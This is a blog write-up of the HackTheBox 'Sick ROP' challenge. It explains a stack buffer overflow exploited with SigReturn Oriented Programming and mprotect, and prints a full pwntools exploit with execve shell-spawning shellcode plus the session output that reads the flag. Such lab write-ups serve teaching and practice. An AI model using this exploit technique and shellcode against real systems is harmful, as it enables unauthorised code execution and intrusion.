HackTheBox – Sick ROP Write-up

Hi everyone! This is a SigReturn Oriented Programming (SROP) challenge on an x64 Linux binary file on 15 August 2020. We need to use SYS_mprotect before allowing on-stack shellcode execution to obtain a shell on the server. Let’s get started!

1. Files provide

2. Tools required

3. Security settings

$ ~/.local/bin/pwn checksec ./sick_rop
[*] '/home/kali/Desktop/sick_rop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

4. Overview

The program is very small as there are only a few functions available as seen in IDA.

The start() contains an infinite WHILE loop which will keep calling vuln().

Inside vuln(), we can see there is a buffer overflow vulnerability as the size of register r10 is 0x20 bytes but read() allows 0x300 bytes of input.

Besides that, based on the result of checksec, we know that we have to use Return Oriented Programming (ROP) since NX is enabled, preventing stack execution. However, many functions like puts(), printf(), etc is not available. Moreover, the write() in this binary isn’t from libc and it is based on syscall.

Therefore, this removes the possibility of using ROP for ret2libc. However, as syscalls are available, we can use SigReturn Oriented Programming (SROP). We can also search for syscall using the ROPgadget tool.

$ ROPgadget --binary ./sick_rop --only "syscall"  
Gadgets information
============================================================
0x0000000000401014 : syscall

Unique gadgets found: 1

5. Short explanation of SROP

SROP is useful when we lack any of the following conditions for ROP:

  • Printing functions such as printf(), puts(), etc to leak libc ASLR address.
  • Lack of gadgets to form usual ROP

With SROP, we will jump to a gadget with syscall to call rt_sigreturn() when RAX is set to 0xA. rt_sigreturn() helps to restore original values of registers such as RAX, RDX, RSP, RIP, etc after the end of the “context switch”. These values were stored on the stack during a signal interruption. As a result, we can exploit its functionality to help us set any values for the registers without worrying if there are gadgets to set them during ROP. Luckily, pwntools have a function for us to easily craft the fake stack for rt_sigreturn().

6. SROP with SYS_mprotect

6.1 Reason for using SYS_mprotect

A quick Google search will allow us to find lots of SROP write-up examples. However, most of them require the “/bin/sh” string to be in the binary. However, this binary does not have that string (does not even have any strings). Thus, we can use SYS_mprotect to modify a location’s permission to Read-Write-Execution (RWX) so that we can write a shellcode to that location and execute it. This is a good article to refer to ob SROP using SYS_mprotect: here.

6.2 Creatively setting RAX’s value

I tried to search for a “pop rax” gadget so that we can set our RAX value for syscalls. However, ROPgadget showed that it is not available.

$ ROPgadget --binary ./sick_rop --only "pop rax"
Gadgets information
============================================================

Unique gadgets found: 0

As vuln()‘s return value in RAX is based on the length of our input string due to the last function in vuln() being write() (write() returns the number of bytes written), we can jump/”return” to vuln() again during ROP to set the RAX value. Basically, we are treating the vuln() as a gadget to help us the value of RAX.

...

# set the value of RAX
def set_rax(num):
	# need to -1 due to '\n' will be include in read()
	r.sendline(b'A' * (num - 1))
	r.recv()

# p64(binary.symbols['vuln']) is to set RAX to call SYS_sigreturn.
payload = padding + p64(binary.symbols['vuln']) + p64(syscall_addr)
r.sendline(payload)
r.recv()
# set to 0xF so that calling syscall will call rt_sigreturn.
set_rax(0xF)

To visualize the code above, below is a simplified diagram of the stack showing how is the stack like before executing “ret” to jump to the next gadget.

6.3 Choosing location to write shellcode

We can use rt_sigreturn(), to set the RSP value and call vuln() again for buffer overflow, write shellcode to shell, jump to it, and execute the shellcode to obtain a shell in the server. However, there are a few criteria for our new memory space:

  • Must be within user address space (0x0 to 0x0FFFFF’FFFFFFFF) due to mprotect()‘s condition.
  • The new RSP value must point to vuln() so that the binary will jump/”ret” to vuln() after jumping/”returning” to rt_sigreturn() for our next buffer overflow for shellcode writing and executing.

To satisfy the second condition, we can use pwndbg’s search feature to find a memory location that points to vuln()‘s address.

pwndbg> search -p 0x40102E
sick_rop 0x4010d8 adc byte ptr cs:[rax], al

pwndbg> x/wx 0x4010d8
0x4010d8: 0x0040102e

We can see that it is somewhere within the binary that points to vuln() which this pointer is only set after the binary executes. Since ASLR/PIE is disabled as shown by checksec, we can use this location as our new RSP value.

As the RSP location is within the binary, I decided to let mprotect() modify the RWX permission from the start of the binary to a random location as long as it is after 0x4010D8 and after our shellcode, since we need to let the space be executable so that our shellcode can execute.

####### To call mprotect() to allow writing of shellcode #######
frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect
# All arguments for mprotect syscall
frame.rdi = 0x400000	# Virtual address of binary
frame.rsi = 0x10000	# length of space to change its protection
frame.rdx = 0x7		# set protection to allow RWX
# new RSP must be a pointer to vuln() to jump to it for the next BoF
frame.rsp = vuln_ptr
# Address of Syscall Instruction
frame.rip = syscall_addr

log.info("Changing permission for this address for shellcode: " + hex(frame.rdi))
log.info("New RSP address: " + hex(frame.rsp))

6.4 Crafting x64 Linux shellcode

I tried a number of shellcodes from exploitdb but none of them seems to work. Thus, I decided to create my own x64 Linux shellcode which is rather easy. You can refer to this table for the registers argument to set for the shellcode.

mov rdi, 0x68732f6e69622f      ; "\bin\sh\x00" in reverse due to little-endian
push rdi
mov rdi, rsp                   ; set filename address to stack's address
mov rax, 0x3b                  ; so that execve will be called later
xor rsi, rsi                   ; set argv to NULL
xor rdx, rdx                   ; set envp to NULL
syscall

We can now exploit vuln() to write shellcode and jump to it to execute the shellcode.

vuln_ptr = 0x4010d8

# vuln_ptr+0x10: Location of shellcode
payload = padding + p64(vuln_ptr+0x10) + assembled_shellcode
r.sendline(payload)

Note that the shellcode is located at 0x4010D8+0x10 because:

Therefore we need to set the return address to 0x4010E8 so that the binary will jump to the shellcode and executes it.

7. Craft shellcode and obtain the flag

Below contains my final crafted exploit, sick_rop_exploit.py:

# ref: https://hackmd.io/@imth/SROP

from pwn import *

context.arch = "amd64"
#context.log_level = 'debug'

r = remote("46.101.78.118", 31479)
#r = gdb.debug("./sick_rop")
#r = process("./sick_rop")
binary = ELF("./sick_rop")

# set the value of RAX
def set_rax(num):
	# need to -1 due to '\n' will be include in read()
	r.sendline(b'A' * (num - 1))
	r.recv()	# wait for input's echo due to write()


# buffer space + RSP space
OFFSET_TO_RET = 0x20 + 0x8
padding = b'A' * OFFSET_TO_RET

# ROPgadget --binary ./sick_rop --only "syscall"
syscall_addr = 0x401014
# pwndbg> search -p 0x40102E
vuln_ptr = 0x4010d8

shellcode =  """mov rdi, 0x68732f6e69622f
                push rdi
                mov rdi, rsp
                mov rax, 0x3b
                xor rsi, rsi
                xor rdx, rdx
                syscall"""
assembled_shellcode = asm(shellcode)


####### To call mprotect() to allow writing of shellcode #######
frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect
# All arguments for mprotect syscall
frame.rdi = 0x400000	# Virtual address of binary
frame.rsi = 0x10000	# length of space to change its protection
frame.rdx = 0x7		# set protection to allow RWX
# new RSP must be a pointer to vuln() to jump to it for the next BoF
frame.rsp = vuln_ptr
# Address of Syscall Instruction
frame.rip = syscall_addr

log.info("Changing permission for this address for shellcode: " + hex(frame.rdi))
log.info("New RSP address: " + hex(frame.rsp))

# p64(binary.symbols['vuln']) is to set RAX to call SYS_sigreturn.
payload = padding + p64(binary.symbols['vuln']) + p64(syscall_addr) + bytes(frame)
r.sendline(payload)
r.recv()	# wait for input's echo due to write()
# set to 0xF so that calling syscall will call rt_sigreturn.
set_rax(0xF)


####### Input shellcode on stack and execute it #######
# vuln_ptr+0x10: Location of shellcode after BoF
payload = padding + p64(vuln_ptr+0x10) + assembled_shellcode
r.sendline(payload)
r.recv()	# wait for input's echo due to write()

r.interactive()

$ python3 ./sick_rop_exploit.py
[+] Opening connection to 46.101.78.118 on port 31479: Done
[*] '/home/kali/Desktop/sick_rop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Changing permission for this address for shellcode: 0x400000
[*] New RSP address: 0x4010d8
[*] Switching to interactive mode
$ ls
flag.txt
run_challenge.sh
sick_rop
$ cat flag.txt
HTB{why_st0p_wh3n_y0u_cAn_s1GRoP!?}
$ 
[*] Interrupted
[*] Closed connection to 46.101.78.118 port 31479

I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Advertisement

2 thoughts on “HackTheBox – Sick ROP Write-up

    1. Hi! Do you mean for this line:
      payload = padding + p64(binary.symbols[‘vuln’]) + p64(syscall_addr) + bytes(frame)

      Basically, it is a normal ROP. You can treat vuln() as a gadget for us to set RAX. Hence the binary will “return to” vuln() to set our RAX value since we have overwritten the original return address with vuln()’s address. syscall_addr will still be on the stack as our next gadget to jump/return to once the gadget vuln() executes its RET instruction.
      I have modified this article by including a diagram/image for this part. Hope it will be helpful to you. 🙂

      By the way, thank you for your support!

      Like

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.